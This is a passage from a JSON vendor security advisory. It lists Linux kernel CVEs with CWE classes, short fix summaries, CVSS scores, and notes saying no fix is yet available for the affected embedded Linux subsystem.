        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36929"
    },
    {
      "cve": "CVE-2024-36939",
      "cwe": {
        "id": "CWE-391",
        "name": "Unchecked Error Condition"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: nfs: Handle error of rpc_proc_register() in nfs_net_init(). syzkaller reported a warning [0] triggered while destroying immature netns. rpc_proc_register() was called in init_nfs_fs(), but its error has been ignored since at least the initial commit 1da177e4c3f4 (\"Linux-2.6.12-rc2\"). Recently, commit d47151b79e32 (\"nfs: expose /proc/net/sunrpc/nfs in net namespaces\") converted the procfs to per-netns and made the problem more visible. Even when rpc_proc_register() fails, nfs_net_init() could succeed, and thus nfs_net_exit() will be called while destroying the netns. Then, remove_proc_entry() will be called for non-existing proc directory and trigger the warning below. Let\u0027s handle the error of rpc_proc_register() properly in nfs_net_init(). [0]: name \u0027nfs\u0027 WARNING: CPU: 1 PID: 1710 at fs/proc/generic.c:711 remove_proc_entry+0x1bb/0x2d0 fs/proc/generic.c:711 Modules linked in: CPU: 1 PID: 1710 Comm: syz-executor.2 Not tainted 6.8.0-12822-gcd51db110a7e #12 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:remove_proc_entry+0x1bb/0x2d0 fs/proc/generic.c:711 Code: 41 5d 41 5e c3 e8 85 09 b5 ff 48 c7 c7 88 58 64 86 e8 09 0e 71 02 e8 74 09 b5 ff 4c 89 e6 48 c7 c7 de 1b 80 84 e8 c5 ad 97 ff \u003c0f\u003e 0b eb b1 e8 5c 09 b5 ff 48 c7 c7 88 58 64 86 e8 e0 0d 71 02 eb RSP: 0018:ffffc9000c6d7ce0 EFLAGS: 00010286 RAX: 0000000000000000 RBX: ffff8880422b8b00 RCX: ffffffff8110503c RDX: ffff888030652f00 RSI: ffffffff81105045 RDI: 0000000000000001 RBP: 0000000000000000 R08: 0000000000000001 R09: 0000000000000000 R10: 0000000000000001 R11: ffffffff81bb62cb R12: ffffffff84807ffc R13: ffff88804ad6fcc0 R14: ffffffff84807ffc R15: ffffffff85741ff8 FS: 00007f30cfba8640(0000) GS:ffff88807dd00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007ff51afe8000 CR3: 000000005a60a005 CR4: 0000000000770ef0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: \u003cTASK\u003e rpc_proc_unregister+0x64/0x70 net/sunrpc/stats.c:310 nfs_net_exit+0x1c/0x30 fs/nfs/inode.c:2438 ops_exit_list+0x62/0xb0 net/core/net_namespace.c:170 setup_net+0x46c/0x660 net/core/net_namespace.c:372 copy_net_ns+0x244/0x590 net/core/net_namespace.c:505 create_new_namespaces+0x2ed/0x770 kernel/nsproxy.c:110 unshare_nsproxy_namespaces+0xae/0x160 kernel/nsproxy.c:228 ksys_unshare+0x342/0x760 kernel/fork.c:3322 __do_sys_unshare kernel/fork.c:3393 [inline] __se_sys_unshare kernel/fork.c:3391 [inline] __x64_sys_unshare+0x1f/0x30 kernel/fork.c:3391 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0x4f/0x110 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x46/0x4e RIP: 0033:0x7f30d0febe5d Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 8b 0d 73 9f 1b 00 f7 d8 64 89 01 48 RSP: 002b:00007f30cfba7cc8 EFLAGS: 00000246 ORIG_RAX: 0000000000000110 RAX: ffffffffffffffda RBX: 00000000004bbf80 RCX: 00007f30d0febe5d RDX: 0000000000000000 RSI: 0000000000000000 RDI: 000000006c020600 RBP: 00000000004bbf80 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000002 R13: 000000000000000b R14: 00007f30d104c530 R15: 0000000000000000 \u003c/TASK\u003e",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36939"
    },
    {
      "cve": "CVE-2024-36940",
      "cwe": {
        "id": "CWE-415",
        "name": "Double Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: pinctrl: core: delete incorrect free in pinctrl_enable() The \"pctldev\" struct is allocated in devm_pinctrl_register_and_init(). It\u0027s a devm_ managed pointer that is freed by devm_pinctrl_dev_release(), so freeing it in pinctrl_enable() will lead to a double free. The devm_pinctrl_dev_release() function frees the pindescs and destroys the mutex as well.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36940"
    },
    {
      "cve": "CVE-2024-36959",
      "cwe": {
        "id": "CWE-668",
        "name": "Exposure of Resource to Wrong Sphere"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: pinctrl: devicetree: fix refcount leak in pinctrl_dt_to_map() If we fail to allocate propname buffer, we need to drop the reference count we just took. Because the pinctrl_dt_free_maps() includes the droping operation, here we call it directly.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36959"
    },
    {
      "cve": "CVE-2024-36974",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net/sched: taprio: always validate TCA_TAPRIO_ATTR_PRIOMAP. If one TCA_TAPRIO_ATTR_PRIOMAP attribute has been provided, taprio_parse_mqprio_opt() must validate it, or userspace can inject arbitrary data to the kernel, the second time taprio_change() is called. First call (with valid attributes) sets dev-\u003enum_tc to a non zero value. Second call (with arbitrary mqprio attributes) returns early from taprio_parse_mqprio_opt() and bad things can happen.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36974"
    },
    {
      "cve": "CVE-2024-36978",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net: sched: sch_multiq: possible OOB write in multiq_tune() q-\u003ebands will be assigned to qopt-\u003ebands to execute subsequent code logic after kmalloc. So the old q-\u003ebands should not be used in kmalloc. Otherwise, an out-of-bounds write will occur.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36978"
    },
    {
      "cve": "CVE-2024-37356",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: tcp: Fix shift-out-of-bounds in dctcp_update_alpha().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.6,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-37356"
    },
    {
      "cve": "CVE-2024-38381",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "nfc: nci: Fix uninit-value in nci_rx_work syzbot reported the following uninit-value access issue [1] nci_rx_work() parses received packet from ndev-\u003erx_q. It should be validated header size, payload size and total packet size before processing the packet. If an invalid packet is detected, it should be silently discarded.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38381"
    },
    {
      "cve": "CVE-2024-38547",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "media: atomisp: ssh_css: null-pointer dereference in load_video_binaries.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38547"
    },
    {
      "cve": "CVE-2024-38552",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "drm/amd/display: Fix potential index out of bounds in color transformation function Fixes index out of bounds issue in the color transformation function. The issue could occur when the index \u0027i\u0027 exceeds the number of transfer function points (TRANSFER_FUNC_POINTS). The fix adds a check to ensure \u0027i\u0027 is within bounds before accessing the transfer function points. If \u0027i\u0027 is out of bounds, an error message is logged and the function returns false to indicate an error.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38552"
    },
    {
      "cve": "CVE-2024-38558",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "net: openvswitch: fix overwriting ct original tuple for ICMPv6 OVS_PACKET_CMD_EXECUTE has 3 main attributes: - OVS_PACKET_ATTR_KEY - Packet metadata in a netlink format. - OVS_PACKET_ATTR_PACKET - Binary packet content. - OVS_PACKET_ATTR_ACTIONS - Actions to execute on the packet. OVS_PACKET_ATTR_KEY is parsed first to populate sw_flow_key structure with the metadata like conntrack state, input port, recirculation id, etc.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38558"
    },
    {
      "cve": "CVE-2024-38559",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "scsi: qedf: Ensure the copied buf is NUL terminated Currently, we allocate a count-sized kernel buffer and copy count from userspace to that buffer. Later, we use kstrtouint on this buffer but we don\u0027t ensure that the string is terminated inside the buffer, this can lead to OOB read when using kstrtouint.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38559"
    },
    {
      "cve": "CVE-2024-38560",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "scsi: bfa: Ensure the copied buf is NUL terminated Currently, we allocate a nbytes-sized kernel buffer and copy nbytes from userspace to that buffer. Later, we use sscanf on this buffer but we don\u0027t ensure that the string is terminated inside the buffer, this can lead to OOB read when using sscanf.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38560"
    },
    {
      "cve": "CVE-2024-38565",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: ar5523: enable proper endpoint verification Syzkaller reports [1] hitting a warning about an endpoint in use not having an expected type to it. Fix the issue by checking for the existence of all proper endpoints with their according types intact. Sadly, this patch has not been tested on real hardware.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38565"
    },
    {
      "cve": "CVE-2024-38567",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: carl9170: add a proper sanity check for endpoints Syzkaller reports [1] hitting a warning which is caused by presence of a wrong endpoint type at the URB sumbitting stage. While there was a check for a specific 4th endpoint, since it can switch types between bulk and interrupt, other endpoints are trusted implicitly. Similar warning is triggered in a couple of other syzbot issues [2].",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38567"
    },
    {
      "cve": "CVE-2024-38578",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ecryptfs: Fix buffer size for tag 66 packet The \u0027TAG 66 Packet Format\u0027 description is missing the cipher code and checksum fields that are packed into the message packet. As a result, the buffer allocated for the packet is 3 bytes too small and write_tag_66_packet() will write up to 3 bytes past the end of the buffer. Fix this by increasing the size of the allocation so the whole packet will always fit in the buffer.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38578"
    },
    {
      "cve": "CVE-2024-38579",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "crypto: bcm - Fix pointer arithmetic In spu2_dump_omd() value of ptr is increased by ciph_key_len instead of hash_iv_len which could lead to going beyond the buffer boundaries.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38579"
    },
    {
      "cve": "CVE-2024-38587",
      "cwe": {
        "id": "CWE-129",
        "name": "Improper Validation of Array Index"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nspeakup: Fix sizeof() vs ARRAY_SIZE() bug\r\n\r\nThe \"buf\" pointer is an array of u16 values.  This code should be\r\nusing ARRAY_SIZE() (which is 256) instead of sizeof() (which is 512),\r\notherwise it can the still got out of bounds.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38587"
    },
    {
      "cve": "CVE-2024-38589",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "netrom: fix possible dead-lock in nr_rt_ioctl() syzbot loves netrom, and found a possible deadlock in nr_rt_ioctl [1] Make sure we always acquire nr_node_list_lock before nr_node_lock(nr_node).",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38589"
    },
    {
      "cve": "CVE-2024-38596",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: af_unix: Fix data races in unix_release_sock/unix_stream_sendmsg.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38596"
    },
    {
      "cve": "CVE-2024-38598",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: md: fix resync softlockup when bitmap size is less than array size.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38598"
    },
    {
      "cve": "CVE-2024-38599",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "jffs2: prevent xattr node from overflowing the eraseblock Add a check to make sure that the requested xattr node size is no larger than the eraseblock minus the cleanmarker. Unlike the usual inode nodes, the xattr nodes aren\u0027t split into parts and spread across multiple eraseblocks, which means that a xattr node must not occupy more than one eraseblock. If the requested xattr value is too large, the xattr node can spill onto the next eraseblock, overwriting the nodes and causing errors.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38599"
    },
    {
      "cve": "CVE-2024-38612",
      "cwe": {
        "id": "CWE-459",
        "name": "Incomplete Cleanup"
      },
      "notes": [
        {
          "category": "summary",
